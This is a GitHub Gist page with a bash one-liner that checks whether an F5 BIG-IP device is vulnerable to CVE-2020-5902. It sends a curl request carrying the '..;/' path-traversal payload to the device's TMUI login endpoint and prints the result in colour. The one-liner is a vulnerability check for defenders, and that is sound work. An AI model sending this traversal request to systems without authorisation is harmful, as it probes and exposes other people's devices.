Last active
July 8, 2020 10:02
-
-
Save ykoster/11148b1783b2205f9a4981b251e522a0 to your computer and use it in GitHub Desktop.
Bash one-liner to check if a device is vulnerable for CVE-2020-5902
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl --silent --insecure 'https://[ip]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=Vulnerable' | \ | |
grep -q Vulnerable && \ | |
printf '\033[0;31mVulnerable\n' || \ | |
printf '\033[0;32mNot Vulnerable\n' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment